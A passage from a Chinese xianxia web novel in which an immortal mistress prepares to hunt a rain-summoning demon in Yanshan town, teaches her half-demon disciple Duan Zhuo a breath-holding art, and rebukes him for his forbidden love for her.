雁山镇地处山衡以南,赤水以北,虽并非荒芜之地,因地处偏僻,凡人极难跨过赤水,故而并无除妖师走动。
其地冬暖夏凉,土壤肥沃,作物长势大好,正值人间水淡之际,照理来说,此地亦不会连日大雨。
可如今,雁山镇连日的倾盆大雨浇坏了作物,镇中居民便自发剪裁红纸,请扫晴娘。
我问:“扫晴娘是哪位仙?”
我在仙界这百年却从未听过“扫晴娘”一名,按理来说,凡人能记得的神仙,比如西王母、女娲、伏羲、风师雨伯、嫦娥尔尔,都是仙界尚有其名的仙,断不该是这般籍籍无名的。
仙娥道:“是凡人构想的神仙,扫晴娘手持扫帚,可扫去乌云,请来晴日。”
那便情有可原了。
她又道:“我曾听闻这位扫晴娘在仙界是有原型的,不过我资历浅薄,也并不知晓是哪位神仙。”
她这千年的修为都不知,更何况我这只有百年修为的仙。
我道:“原来如此。”
她道:“这雨来势蹊跷,虽并非雨伯所为,但西王母娘娘派人去查过,这雨的来历……约莫与雨伯有干系。”
据我所知,天上这一帮神仙,能够降雨的除了雨伯,便只有我爹,但降雨也只是我爹的副业,他的主业应该是控云。
“三年前,雨伯曾在人间收过一弟子,并授他降雨之术,但这弟子是何人,如今在何处,不得而知。”
我闻言微动,想起那日去昆仑山曾遇到风师雨伯,风师曾无意间说过,雨伯从前曾收过一名弟子,不过后来不知何缘由,半途将那弟子丢下了。
我问:“妖物作祟呢?”
仙娥道:“这雨中时常飘着淡淡的香气,引镇中年轻女子往雨中去,后来失踪者多了,全镇的人一起寻找,最终在后山找到了堆叠在一起形容枯槁、脸颊凹陷的女子干尸。”
“他们之中有的相识,有的却并不相识,也并无共同之处,若说有,那便是……神色都无比安详,死之时还并未来得及害怕。”
我凝眸微微思索,能叫他们放松警惕,想来当是熟人所为。
仙娥又道:“女仙此番去,找出妖物后来,将其就地正法即可。”
如今三界和平,杀妖是需要弑妖令的,防的就是我这种想把世间所有妖杀了的神仙。
我问:“若是人所为呢?”
仙娥道:“就地正法,若是人所为,造下太多杀孽,便不能称之为人,而是地狱中的恶鬼。”
她又道:“这几日雁山镇雨停,许是调查之事被妖物觉察,但索性也并无女子再死去,但约莫过不了几日又会下雨,等下雨,女仙再去罢。”
我答:“好。”
我又问道:“雨伯可知此事?”
仙娥摇头道:“不知,若此事当真是雨伯弟子所为,雨伯亦会受到罪罚。”
说完,仙娥朝我行了个礼,做了告别之态:“若是有事,女仙可再问我。”
我颔首:“好。”
斩妖除魔对我来说,并不算是什么难事,往日我修仙初入门,时常下山历练。
不过后来懒了下来,且人间去多了,深觉其中许多凡人内心丑恶,见之妖物亦如照镜子,也死不足惜。
等这几日后,段灼脸上的伤好些,那时我与他一起去。
倒也并非因为别的,只是这鼻青脸肿的模样,实在是会给我丢脸。
*
两日后,我与云恒通灵,却也不曾接通,我准备去看看她,谁知她殿中的仙娥来了。
我细看,这位仙娥我更眼熟些,想来都是跟在云恒身边的。
她行礼道:“见过封镜女仙,女仙所问之事已有答案。”
她与我娓娓道,这个故事要从许多年前才是说起。
魔界初定,狼妖一族还是魔界的掌权者。
而那时,如今的魔尊还只是小蛟龙,他是龙与人的杂交品种,母亲生他虚弱离世,父亲伤心远走,销声匿迹,只留下他一人在族群中生活,因魔力低微,他在族中并不受待见,甚至有时还会被欺辱。
终于有一日,魔尊受不了族人的侮辱,年幼而遍体鳞伤的他逃了出来,四处受难,险些殒命,被段灼的母亲凌月无意间施舍了些吃食,这才活了下来。
那时凌月还是妖狼一族的公主,善良貌美且身份尊贵,是他这只小蛟龙可望不可及的。
由此,她成了魔尊的白月光。
母亲逝去、父亲远走、族人欺凌这般种种的仇与恨始终压在他心头,年幼时的魔尊并未得到过任何人的爱。
故而魔尊发誓,有朝一日要踩在这些人的头上,成为这世上地位最高、最尊贵的妖。
后来魔尊坐到了如今的位置,然修炼邪术得反噬,魔力暴涨致使他魔性难以抑制。
年幼时从未得到过爱,加之魔性入侵,魔尊无法感知外界的一切感情,成了一个嗜血残暴、冷酷无情的君主
且为了防止被反噬,他需要别的东西来压制魔性,那便是情-欲,故而魔尊有许多侍妾。
魔尊坐上这位置前,曾屠戮狼妖一族,凌月勉强活了下来,成了魔尊的侍妾。
他对白月光与对其他侍妾终究是不一样的,他会对她好一些,要什么就给她什么,只是凌月总是冷眼待他,魔尊在她那处并未讨到过多少好处。
那不废话,难道你灭我一族又纳我为妾,我还要陪你笑不成?
在我看来,凌月没趁机杀了他都算仁慈。
听到这里,我就觉得不对劲了,段灼既然是他与白月光的孩子,他怜爱白月光,那也应当会对段灼好才是,可通过段灼的梦呓,我知晓魔尊对他并不好。
中间如何,那仙娥便没有再讲,只是又道。
在将段灼送来仙界后没多久,她不知为何突然转了性,变得古怪,阴毒狠辣,时常会与魔宫中的侍妾争斗,许多侍妾都记恨她。
魔尊偏爱她,她身上若是有伤,别的侍妾便会受到惩罚,由此侍妾们便更恨她一些。
直到前几日,
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凌月死在那些侍妾手中。
抱着白月光的尸体,魔尊终于发疯了,将那些曾经与凌月作对的侍妾全都杀了,如此魔宫中的侍妾几乎少了一大半。
那仙娥讲完后与我道:“大致如此,其中的真假,需女仙自行判断。”
这样的故事叫我有些惊讶,想着那日段灼的样子,我总觉得虽然魔尊疼爱他母亲,但他在魔域中确实未曾过上几天好日子。
且我还想知晓,他母亲究竟是为何转性?
见我若有所思,仙娥便打算作辞,我又问她。
“云恒如何了?”
仙娥闻言神色担忧,与我道:“回女仙,我家女仙一切都好,只是身子还有些不舒服,想来过几日便会好起来。”
我问:“云恒究竟是什么病?”
“若是女仙想知晓,还是自己去问我家女仙罢。”
说罢,她便离开了。
这时我骤然明白了云恒上次与我说的话中,究竟有何不对的地方。
若是真如她所言,是蟠桃吃多了灵气冲天导致,她应当是在宴会上便吃了许多蟠桃才是。
至少我在之时,云恒并未吃蟠桃。
她是在金池宴场时,就感觉身子不舒服,如此来便说不通。
不过我想,她若是在我与段灼走后,才吃的蟠桃,却也不是不可能。
思来想去,我决定通灵问问,不是问云恒,而是问那日与我说云恒身子不适的女仙,她名玉露,好在名字我是记得了。
仙界中的仙,只要知晓其名讳,便可通灵。
只是我从未与她通灵过,平日里见面说的话也寥寥无几。
灵通接通后,那头的玉露似乎有些惊讶我这样与她不熟的仙竟会与她通灵:“封镜女仙?”
其实我不是很习惯与旁人接触,寒暄起来都有些僵硬,我问道:“不知玉露女仙近来可好?”
玉露道:“一切都好,封镜女仙可还好?”
我道:“一切都好。”
再往后便是沉默,或许她在等着我问她些什么,而我却不知该如何开口,不知这般问是否唐突。
玉露好似感觉出了我的尴尬,轻轻一笑,先开口道:“不知封镜女仙寻我有何事?”
与云恒关系不错的女仙性格都十分洒脱,她给了我台阶,我自然顺着下了。
我道:“我想问女仙,那日在金池宴场中,云恒可有吃蟠桃?”
玉露似在回忆,她沉默了一会儿道:“想来是有吃的,我与她还有其余的几个女仙都吃了些,封镜女仙问这个作何?”
我道:“随便问问,叨扰女仙了。”
玉露道:“倒也无事,左右闲着,聊两句也好。”
我与她又说了三两句话后,这才挂断了通灵音。
想来真的如云恒所言,是我多虑了,我与她相处百来年,我该相信她才是。
我垂眸摩挲着掌中比回来那日淡了些的红疹,如何我都有些想不明白这究竟是碰到了谁才会产生的。
35. 第三十五章
我想起梦中的段灼与我说,梦外的段灼知晓究竟是谁触碰了我。
但我却不可能真的去问他,毕竟我不想被他知晓,我触碰除了他之外的男子会身上长红疹。
这对我来说是个死局,我只得下次自己注意些才是。
我将手放下,开始思索着雁山镇的事,若当真是吸食人精气的妖,这几日并未进食,那再过几日也该蠢蠢欲动了。
那仙娥说,雁山镇的雨中会有淡淡的香气,想来是那香气将人吸引到了后山或是别处,屏气我会,但段灼却不会。
我可要教他?
这个问题叫我有些纠结,毕竟我让他去,并非是让他历练,而是想让他在变故中死去,我便不用再想办法将他推下万魔窟了。
雁山镇那妖虽伤人无数,但若是要靠吸食人精气才能存在的妖,是最低阶的妖,但你说他低阶吧,他却又能够学会雨伯那套降雨之术。
综合考量以后,我决定最多再教段灼一套屏气之术,别的便看他的命如何了。
*
又过了两日,我唤段灼来殿中。
他脸上的伤并未好完全,远观之下,倒是消肿了,还留在一些紫的青的痕迹,段灼的神色微冷,朝着我行礼:“见过师尊。”
妖的恢复能力远好过人,尤其是段灼这种爹娘都不普通的妖。
不过让我觉得奇怪的是……
段灼站在庭院外,而我在寝殿内,他与我之间仿佛隔着一个碧水瑶台。
往日里他不会这样。
我:“……”
我觉得段灼在记仇。
我问:“为何不过来?”
其实我知道,他对我在校场中的“不追究”有些异议,才会与我有些不亲近。
段灼闻言指尖微动:“弟子样貌丑陋,怕走近了吓到师尊。”
我:“……”
他倒是对自己的样貌太不自信了,希望芜奚能够学到他的半分谦逊,当然这大概也是不可能的。
当然我不能这般说,只道:“无事。”
段灼有些犹豫,思索后这才两步走到我面前,他脸上的伤痕在我眼前逐渐清晰起来,连同额间的朱砂一起,他神色又淡又冷,五官却又好看得浓墨重彩。
若是说丑陋,我半分都没看出来。
我依稀还能看见段灼眼下乌青,像是并未睡好。
我装模作样问道:“这几日感觉如何?”
段灼以为我在问他,可还有被旁人欺负,他道:“师兄们并未再欺负我。”
我:“……”
其实这是我最不想管的。
我道:“他们也并非有意,多不过是玩笑之时不小心伤了你。”
其实并非不小心,将他打成这样,一看就是故意的,但我也是故意这般说的。
果然,段灼闻言一愣:“玩笑之时?”
他缓缓抬起头看我,那双眼眸中有些我读不懂的锐利,甚至还有伤神。
段灼的肤色向来苍白,纵然是白日,风一吹扬起满地的落花,他的神色亦森森然,犹如男鬼一般,那双眸死死钉在我身上,像是被我害死成了,不寻我报仇便会不得善终的恶鬼。
叫我觉得被这风吹得后脊发凉。
我垂眸,看着他脚下冒出黑漆漆的淡烟,正缓缓往上,他脚下的落花都因这黑烟枯萎了。
这是段灼身上的魔气从脚下倾泻而出。
我骤然觉得,眼前这少年,与我当初所见的魔尊竟然有几分像。
却也并非是容貌,只是这般乌黑的眼眸,危险的神色,高大而健硕的体魄,几乎一模一样,且都透露着隐约的魔性。
我道:“并非此事,我想问的是你母亲之事,你可还会因此伤心?”
我这样的问题与往他心口上捅刀子有什么区别?
不仅是我这么觉得,就是从段灼逐渐变得失落的神色中,我也能看得出来。
他沉声道:“自然会伤心。”
他抬起那双伤心的眼,他看向我,亦在探究着我。
他问:“若是旁人提起师尊的父母,师尊可会伤心?”
段灼的声音回荡在寝殿中,他的神色仿佛在与我说,他觉得自己与我同病相怜,可为何我会问出这般叫他伤心的问题。
我道:“若是在百年前,旁人与我提起,或许我会伤心难过,如今百年后,我却并无别的感觉。”
我心中有一种,万事既定之感。
百年之前,得知爹娘仙殒,我还能日日梦见他们鲜活的模样,梦见如往常一般的生活画面,还期盼着他们某一日能够活着回来。
过去了近百年的时间,我知晓他们不会再回来了。
我对段灼说过许多假话,至少方才所言是真的。
段灼却道:“弟子知错。”
我道:“你何错之有?”
段灼却不说话了,只是低着头,他似乎在听完我的话后,后知后觉自己的行径有些冒失。
他道:“弟子不该说这些。”
我道:“我派人去调查过,你母亲并非魔尊所杀,而是他的侍妾所杀。”
可我心中却在想,是侍妾所杀还是魔尊所杀又有何区别,毕竟这些侍妾都是他爹的侍妾,若是后宫中只有他娘一个人,又怎会发生这些。
段灼微微一顿,又与我说:“魔尊并非是我的父亲。”
段灼提起魔尊,那双如幽深潭水的眼眸中像投入了一两颗小石子,荡起了层层恨意浓稠的涟漪。
我以为段灼是恨他入骨,故而不想承认他这个爹。
纵然是不想承认,但他与魔尊始终血浓于水,无论魔尊做了什么,他都是他血脉上的父亲,这是无法更改的。
魔尊是我的仇人,他杀了我爹与我娘。
段灼于我而言,便是仇人之子,正因如此,我往后要想杀了段灼才会毫无负担。
凡人尚且都有“父债子偿”一说,仙与魔之间的纠葛亦然。
三界众生皆道,这世间的因循果报,便是如此。
这也是仙之常情。
而魔尊与段灼的母亲凌月间,却也见不得多少真情。
有仇恨在,凌月不会多爱魔尊,而魔尊比起凌月亦更爱自己,他们二人之间的感情,苦痛更多,也不过是强扭的瓜。
我想若是我喜欢一个人,但他并不喜欢我,我便会放手,他既不喜欢我,在一起也是浪费时间,还会伤害我自己。
一直以来我都是羡慕我爹娘的感情的。
他们在一起千年,感情还是很好,我想,若是有
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朝一日,我有了心爱之人,我亦希望我与他能够像我爹娘那样,相伴千百年。
我并未多问,段灼亦并未多说,他只对我道:“多谢师尊关心。”
想来他是觉得我专门去调查他母亲的事情是在关心他,其实并非如此,我只是有些好奇,甚至还拿他当了挡箭牌。
虽如此,我还是正色道:“我是你师尊,关心你也是无可厚非的。”
段灼不语,看向我,他的眼神中带着淡然的忧伤,还有些星星点点的希冀光亮,像是狗看主人的神色。
我向来喜欢他这样的神色,叫我这做师尊并不称职的仙亦有一种作为师尊的满足感。
他不再说话,我也并未再继续这个话题,我与他之间又是一副师徒之态。
我这才又说起,唤他来要说的事。
我道:“今日唤你来,是为了过几日去雁山镇的事。”
段灼不解:“师尊……为何带我去?”
想来段灼也知晓自己在修行方面并无比常人突出之处,他与我一起去,非但帮不上忙,说不定还会添乱。
我道:“这次需隐藏身份,只有你……”
只有他没有半分修为,不用隐藏身份也没人看得出他是神仙的弟子。
话虽然难听,但这个理由比较中肯,毕竟整个碧水瑶台,只有段灼没有灵力。
别的弟子多少有些灵力,但若是灵力太弱,或是修行太浅薄,便不能很好的将灵力隐藏起来,而段灼在这方面便具备天然的优势。
“且你又是个妖族,可以让妖放松警惕。”
段灼的模样有些失落,沉默了好一会儿后道:“我知道了,师尊。”
我与他说了一下事情的经过,及一些信息点。
我道:“今日我让你来,是为了将屏气之术教授于你。”
段灼微微颔首:“是,弟子一定认真学习。”
别的不说,段灼在修行方面比许多弟子都认真,想来我教上几次,他便能学会了。
我道:“你先与我说,从方才我说的几个点中,你可有发现?”
他听完后道:“想来是镇中相识之人所为。”
这些女子并未反抗,我首先想到的便是熟人所为。
而今我与段灼有着同样的想法,我道:“虽无灵力,可到底脑子是好用的。”
段灼闻言指尖微微一动,像是六神无主般垂眸往旁边看,神色却又不知落在了何处。
他再抬眸看我,苍白的脸,微微泛红。
我觉得莫名其妙,便问:“为何脸红?”
段灼垂眸轻声道:“师尊夸我。”
听闻此言的我鸦雀无声。
我前半句骂他是废柴,只有后半句夸了他,不过看来,他只将后半句听进去了。
我不经心道,还是段灼这样的小孩好哄,纵然你如何打他骂他,就是顺手丢一颗孩童都不吃的糖在地上,他捡了吃进口中,都会觉得心头甜滋滋的。
我道:“你再听听前半句。”
段灼微微思索后,道:“前半句是实话。”
我:“……”
见我不说话,脸色也不大对劲,段灼又觉得自己说错话了,便又与我认错道:“弟子知错。”
我:“错在何处?”
36. 第三十六章
“错在……”
段灼只说两个字,显然他不知自己错在哪里,我这个做师尊的脸色难看些,他便会下意识认错。
我实在是看不下去了,便道:“若是下一次不觉得自己错了,那就不要认错。”
段灼并未说话,他垂眸,我以为他正在思索着我话中的含义,谁知下一刻他抬眸看我,眼泪滚滚而出。
我:“……”
改日我一定要问问与他同住的弟子,他究竟是不是这般爱落泪的妖。
晶莹剔透的眼泪如挂在他的脸颊上,正如川流不息的河流,缓缓流淌着。
他声音有些哽咽:“弟子知错。”
段灼认错,可我见他的神色,分明觉得自己委屈极。
我这才明白,他似乎理解错了我话中的含义。
以我的性格,若是有人理解错了我的意思,我是懒得解释的。
这也是我与别的仙相交甚少的缘由。
人与人,仙与仙的想法本就不同,如何能做到意见相合又能够相互理解呢?
但是段灼不行,他好歹是我的弟子,我尚且还存在一些师德,至少不能叫他误会我。
回想前几年在林中遇见他正独自练习着如何说话,如今不能够正确理解我话中的含义,我也能稍作体谅。
我道:“我并非此意。”
“错的时候便可认错,若是并无错,便不必认错,你在我面前亦然。”
段灼点头道:“弟子明白。”
可下一刻他又道:“弟子知错。”
我扶额:“又错在哪儿了?”
段灼道:“误解师尊。”
我道:“无事。”
这点确实是他错了,我也并无异议。
他将脸上的泪擦干后,缓和了一会儿,我道:“今日我便开始教你屏气敛息之术。”
我道:“你去将庭院中的落花扫尽。”
段灼随着我的目光看向庭院外,点头答道:“是。”
修炼之事在殿中施展不开,自是在庭院中进行。
段灼神色认真,微微弯腰,将地上的落花扫做一团。
段灼从前便有些瘦,这几日似乎更瘦了,就连腰也细了一些,他微微抬手,手腕处露出一片苍白无暇的肌肤。
不知是我心术不正还是他容易让人浮想联翩,我有些走神,甚至想到了别处。
我想起了我在梦中摸过无数次段灼腰间紧实的小腹,与小腹再往上些紧实的肌肉。
我又想起那日我在院中扇了他一巴掌,将他的脸扇红了,眼泪也落了出来。
那是我第一次看见段灼哭,他进碧水瑶台这么些年,在这之前真的落过泪吗?
我一看见段灼便会多想,索性进寝殿中打坐待他将庭院扫干净。
不多时,段灼便来唤我,我同他一起到庭院中。
这庭院比天空还干净,还有……还有一旁正在瑟瑟发抖的桃花精,她口中魂儿都要飘出来了,有气无力道:“女……女仙,有魔气,到处……到处都是魔气……”
我:“……”
我看了一眼段灼,他这魔气泄出去太多,而段灼本人却并无感觉。
我抬手施法,将整个桃花树笼罩在我的法术结界中,如此桃花精便能好些。
段灼来之时,他脚下踩着的桃花瓣都纷纷枯萎了,我便知晓,他的魔气更浓烈了,我给他的封印压不住,需要加固。
我道:“你先运气,我将你的封印加固。”
段灼点头,就地坐下,开始打坐运气。
我轻点他额间的朱砂,捏诀施法,指尖翻飞间,将我的灵力传输一部分进去,以此来压制他体内的魔气。
我凝眸将灵力注入,他额间的朱砂鲜红起来,将我的力量逐渐吸收进去。
加固是每年一次,这次我却明显感觉到了些阻力,他体内的魔气似乎在上一次加固后,暴涨起来了。
持续了一会儿,封印加固完成,我深吸一口气,将轻点在他额间的手放下,运着体内的气息。
段灼缓缓睁开眼,他肤色苍白,额间的朱砂鲜艳明亮,我问道:“可有觉得不适?”
段灼摇头。
说来也奇怪,若是加之封印,那妖魔却也并不痛苦,则说明你与他相合。
我与段灼,竟然意外相合。
封印已成。
等段灼体内的灵力稳定些后,我道:“现在开始,我教你屏气敛息之术。”
我将屏气敛息之术的方法及注意事项都告知了段灼。
他一边认真听着一边点头,至少看起来很可靠。
我说完后又交代道:“切莫操之过急,此术重在循序渐进,并非一日之功。”
段灼认真答道:“弟子明白。”
我点头道:“开始吧。”
段灼照着我说的深呼吸后,气沉丹田,行屏气敛息之术,按理来说,如此练下去,可将屏气的时间逐渐延长。
想我儿时,不到半日便学会了此术,他既是魔尊之子,想来很快就能学会。
此法不需要灵力,只需要练习,就连稍微聪慧些的凡人亦能一日学会。
可事实却与我想的截然不同。
段灼试了几次,却都只能屏气一小会儿。
我道:“深吸一口气,在屏气之时缓缓吐出。”
段灼点头,听得认真。
我在一旁看着他练了一下午,段灼苍白的脸都憋红了,但……仍然毫无进展。
我有些许无语,我没想到他竟然笨成这样,想来我还是有些以貌取人了,他这副很可靠的样子,谁知学起来这么慢。
我问道:“你可有难处?”
他到底哪里不会啊?真是急死我这个做师尊的了。
段灼似乎也意识到了自己并无进步,甚至也有些自责:“师尊……”
他道:“并无难处,师尊所言,弟子全都明白。”
既然并无不理解之处,为何还能练成这样?
我抬头看着日落西山,叹气道:“明日再来练吧,今日我累了。”
段灼闻言一怔,似乎还想与我说些什么,他有些欲言又止,最终在我疲惫的目光中颔首答道:“弟子遵命。”
段灼走了。
不过等他走后,我仔细想了一下,觉得他方才的话音有些高扬,像是……高兴?
“……”
我总是读不懂他这些奇怪的情绪,或许对于别的弟子来说,三两天头来我殿中练功会是一件非常煎熬的事情。
显然,段灼并不这么觉得。
但是也正常,毕竟即便我做了许多对段灼不好的事,他似乎依旧“喜欢”我。
第二日一早,我起床便看见段灼在门边立着,穿着一身漆黑的衣裳,一动不动,跟我门前的树似的。
这时就连后山的鸡都还没叫,他就已经穿戴整齐到了我的门前。
未免有些太早了吧?
年纪小就是好啊,精力旺盛,若是放在几十年前,我也能如段灼这般每日修炼起得比鸡早。
我看着段灼,他似乎心情很好,就连嘴角都有些上扬,见我开门,与我规矩行礼道:“见过师尊。”
其实一大早上看着门口站着一个弟子怪烦的。
但段灼的声音低沉好听,竟叫人烦不起来。
我自问在修炼上是个比较严苛的老师,昨日的屏气敛息练习,我也比较严肃,为何段灼像是自愿来的?
他这般高兴倒是让我这个做师尊的觉得自己还不够严格。
庭院中的风吹着,我方睡醒,眼眸被风吹得酸涩,与他大眼瞪小眼。
我道:“这么早你就来了?”
段灼道:“是。”
倒是有些求知若渴了。
我道:“你在院中自己练,我还有事要处理。”
其实并非是有事要处理,是我实在是没睡醒,回到寝殿中打算睡个回笼觉我是个比较我行我素的仙。
不知睡了多久,后山的鸡叫声把我吵醒,这是我第无数次想将那鸡杀了吃,我睁开眼,迷迷糊糊间,眼前好似有个人影。
段灼不知何时进来了,像梦中那般半跪在我床边,细细看我,他的神色像画笔,在仔细描摹着我的每一寸肌肤。
他自己似乎也恍神了。
段灼见我骤然睁开眼,惊得往后退却两步,神色慌张,忙垂头与我行礼。
“师尊……安好。”
我看着他这副大逆不道又规矩无比的样子,才睡醒之时脾气本就差,如今更是在心中不动声色地咒骂了他一百次:“……”
不过我的词汇不是很丰富,故而这一百次骂的都是毫无杀伤力的词。
我发誓,在这之后我一定好好修习“骂人”这门课程。
我起身问:“我允你进来了吗?”
更重要的是,我方才是与他说我有事要处理,而不是我要睡觉,如今被他看见我睡着了,实在是有损我本就没多少的师尊颜面。
半晌后,跪于我床边的段灼才沉声道:“师尊不曾允我进来。”
看吧,他总是这般,一边说着最为规矩的话,一边做着最不规矩的事。
能够偷偷进我的
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寝殿的人,碧水瑶台中再数不出第二个了。
我冷声道:“若是再犯就滚出去,不必再来了。”
段灼低垂着眸,答道:“是……”
他有些灰溜溜的出去了,等我收拾好后再出去,他在认真练习着。
我心中想着,至少修炼这方面他是认真的,但是走近一看,我才发现,他的屏气敛息之术法,与第一日来时相比……几乎毫无进步。
段灼很听话,我教他便听着,但就是学不会。
若是真的到那日都学不会,那便不是我没教过,而是他自己蠢笨。
一遍遍的练习,却还是毫无进展。
我不禁骂道:“你怎么这么笨?”
我这样直白的话,终于让他抬头看我了。
但他只是与我对视,随后便垂眸一言不发。
我开始思考,我是他师尊,说这样的话是否有些不合适。
但是作为老师的骂两句怎么了?
思及此处,我不禁将腰挺直了,心中那些稍微有些自责的情绪一扫而空。
过了不知多久,段灼才道:“若是师尊觉得我笨,可以……让我自己练习。”
我发觉就算是我再如何厌恶他,再如何知晓他以后会将我杀了,但看到他如今的这副模样,我也恨不起来他一星半点。
我问道:“我只说你两句,你便觉得我苛待你了?”
段灼摇头道:“我自知蠢笨,师尊所言字句都牢记于心,便不敢再劳烦师尊一而再而三的多次教导了。”
有理有据,头头是道,让人想骂都骂不出来。
我道:“我就在殿内,你自己日日来我庭前练习,若有不懂可来请教。”
我也懒得一直在这里守着他,搞得好像我多在意他似的。
段灼应答道:“是。”
今日结束后,段灼仍然一无所获。
接下来几日里,他多会早早到我的庭院中自行练习,会站在我抬眸便能看见的地方,偶尔我能感觉到他的目光正死死钉在我身上。
那目光有些湿润,带着我不懂的情绪。
在往后几日,他仍然勤加修炼,但很遗憾,仍旧一无所获。
我甚至觉得段灼应该学不会这屏气敛息之术。
可当要前往雁山镇的前一日,段灼却意外学会了,甚至可以说是非常熟练。
我觉得有些奇怪,此术本就是循序渐进的,前几日段灼本就一无所获,为何今日就突然学会了?
我好像明白了。
我问:“你如何一下就学会了?”
段灼道:“许是……一瞬间便通透了?”
他说这话时却并不看我,叫我觉得他似乎有些心虚。
我问:“当真?”
段灼:“当……真。”
说话还有些磕巴,想来是心里有鬼了。
我不说话了。
段灼抬头看着我带着些愠意的神色,终于承认了。
“其实我……第一日就学会了。”
我真是被气笑了,我以为他是狗,结果他是在把我当狗耍。
我将那些我想骂他的话压住了,耐着性子问:“那你为何装作不会?”
段灼道:“我……我想这几日都能在师尊殿中。”
如今做错了事,段灼便低垂着眼眸,偶尔悄悄抬头看我,我又在他眼中看到了些湿润。
我总觉得我好似在哪里见过这样湿润的眼神。
我仔细看他,终于想了起来。
曾在许多年前,不知是哪一日。
我化作人间女子在凡间游荡,那时人间正飘着鹅绒大雪,到处白茫茫一片,街角的屋檐下卧着一只瑟瑟发抖、浑身没有一处好皮毛的狗,我走过去,它便是用这般湿润的神色,朝着我哼哼唧唧的。
但我并未将他带碧水瑶台,而是就近给了一户人间丰足的银两,拜托他们收留了这只狗。
后来我从未去看过它。
少说也是二十年前的事了,想来如今那狗早已归西,且说不定他们再我走之后,便又将那只狗丢出去了。
许多年后,那样的神色我竟然在面前这名妖族少年身上再次见得。
我想起了这几日,我在寝殿中,他在庭院外,神色总是若有若无落在我身上。
其实那时我就该知晓。
我不管以后如何,今日我算是清楚他对我的感情了。
我问道:“你究竟喜欢我哪里?”
这是我百思不得其解的问题,这些时日过后,我觉得我对他还挺差的,至少并无值得他喜欢的地方。
37. 第三十七章
段灼骤然抬眸看向我,他的神色有些不可思议般,抬眸看见我的神色漠然后,他垂下眼眸。
许久后,段灼才开口:“我……不知道。”
我深觉头痛,不禁扶额道:“碧水瑶台门规第一条是什么?”
段灼答道:“不得……恋慕师尊,违者逐出师门。”
我凝眸看着他不再说话。
段灼见我如此,神色中终于多了几分慌乱,他骤然跪地,忙道:“求师尊……求师尊不要将我赶出去!”
我问道:“我究竟哪里值得你喜欢?你说出来,我改还不行吗?”
我心中一遍遍问我自己,我对段灼还不够坏吗?究竟要如何他才会不喜欢我?
起初因为预知梦,我想杀了段灼,但后来发现他竟然喜欢上我了。
段灼不答,只是抿紧唇,垂眸不知在看何处,许久后,段灼亦并未回答我的问题,只是又说着:“求师尊不要赶我走。”
赶他走这件事,却也不是我一个人能决断的,需要与许多仙一起讨论,或许段灼觉得我若是让他滚,他便必须滚。
我道:“那你答应我,以后不再喜欢我,我便留你在碧水瑶台。”
有一朝一夕能够安身立命之处,比喜欢一个人重要得多,权衡之下,我以为段灼会有决断。
可段灼却一改往常的态度,不与我认错,也不答应我所言,只是看着我道:“我不。”
这是段灼第一次跟我顶嘴。
他的视线落在我身上,指尖几乎嵌进肉里。
我不知他究竟哪里来的勇气,竟敢与我顶嘴,我不禁怒呵道:“不就滚出去,别再来寻我!”
段灼闻言,微微一怔,他站起来转身往外走,走了两步后,又回头问我:“师尊以为,喜欢一个人,能够说不喜欢便不喜欢了吗?”
我有些莫名其妙,为何不能?
其实我并未喜欢过旁人,但既然“喜欢”是一个主观的情绪,那为何不能想不喜欢之时,便能够收回来?
我问:“喜欢是出自你的主观情绪,而不是将灵魂都出卖给对方,为何会收不回?”
其实我不应该与段灼争执这些,毕竟就连人与人之间、仙与仙之间都无法做到相互理解,更何况是仙与魔。
段灼道:“若我与师尊说,是呢?”
我不太明白他这一字“是”究竟是说的什么,还未等我去问,段灼又固执道:“我不会放弃喜欢师尊。”
我也道:“那滚出去。”
我远远看着他,就连神色都是冷的,段灼实在是要将我气死了。
段灼转头往殿外走去。
我唤他:“且慢。”
段灼的指尖微微颤抖,他缓缓转身,似乎在希望我能够说些好听的话。
我不愿再多分神色给他,只冷道:“明日晨间去雁山镇,记得来。”
段灼答:“是。”
段灼并未说别的,只是话音亦有些颤抖。
终于,在即将走到拐角处之时,我见他抬手抹了一下眼,想来是落了两颗泪下来。
或许是觉得自己有些狼狈,段灼头也不回的走了。
是了,我也并未留恋他。
看着他有些落寞的背影,我心里并无太多感觉,只是会好奇,他当真会因为我的话伤心难过到落泪吗?
我对情感的认知向来单薄,我是觉得他会伤心,却不知三两句下去竟严重到抹眼泪的程度。
原来语言会比一个巴掌更像刀刃。
但他这般苦痛的情绪,却并未传到我这里多少。
*
这日夜里,我做了一个与段灼并无关联的梦。
我梦见我儿时,体弱多病,某一次生病哭红了眼要我娘抱我睡觉,我娘小心翼翼将我抱在怀着,哄着我。
我娘的身体是温暖的、滚烫的,叫我在睡梦中也觉得无比安稳。
我镶嵌进母亲温暖的怀抱中,就像被包裹在出生不久后,曾将我环绕保护的水莲中。
我握紧她的指尖梦呓,或是吮吸,她拍着我的背,柔声唱着些好听的歌谣,哄我入睡。
醒后,我身边只有那一床儿时母亲曾经盖过的衾被。
我起身抚摸脸颊,梦中的呓语与我的泪早已干涸,只保存下些余温,就如这被衾一般。
这些年,我爹我娘很少会入我的梦,他们似乎觉得我过得还不错,便不再来打扰我。
我推开门,今天的碧水瑶台,雨下得淅淅沥沥,远山在浓重的雾气中隐了形,在雾霭中的碧水瑶台,却更有了仙山的轮廓。
我在门前看到了撑伞的段灼,他不声不响立在门外,直至我的目光投到他身上,他才有了几分活人的气息。
我问:“多久来的?”
段灼道:“回师尊的话,方才来的。”
这之后,我并未再说话,我与他之间因为昨日那遭似乎变得生疏而陌生,沉默就这般蔓延开来。
其实我并未感觉自己的心情不好,但这铺天盖地的雨似乎感觉到了。
我爹会降雨,但他的主职是控云,儿时我还挺想学的,可这些他都并未教我。
他只与我说,我会得越多,那责任便越大,他希望我这辈子都开开心心的,不被这些约束。
故而我只得了我爹的部分能力,就是凡人口中的遗传,我的情绪会波动碧水瑶台的天气变化,但若是刮风下雨,我便不知该如何止息。
没学过,我爹也没教过。
不过好在,谁也不知碧水瑶台的天气与我的心情有关,这样亦没人知晓,我控制不了这个天气。
我看着眼前撑伞的段灼,他身形宽阔,一身玄衣,左侧的肩头在雨中却也惘然不知,只是任由雨水将他的衣裳打湿。
他缄默着,那双漆黑的眼眸只是偶尔才会落在我身上。
我与他总不至于一直站在这里。
于是我道:“进来。”
“是。”
段灼进了我的寝殿,这几日被他清扫过的庭院如今也干干净净,只是地上有些许被雨打落的残花。
晨间,西王母殿中那位女仙便与我通灵,说今日雁山镇有雨,我便与她说,今日我正好要去。
我又与云恒通灵,这日终于接通了。
我:“你可好些了?”
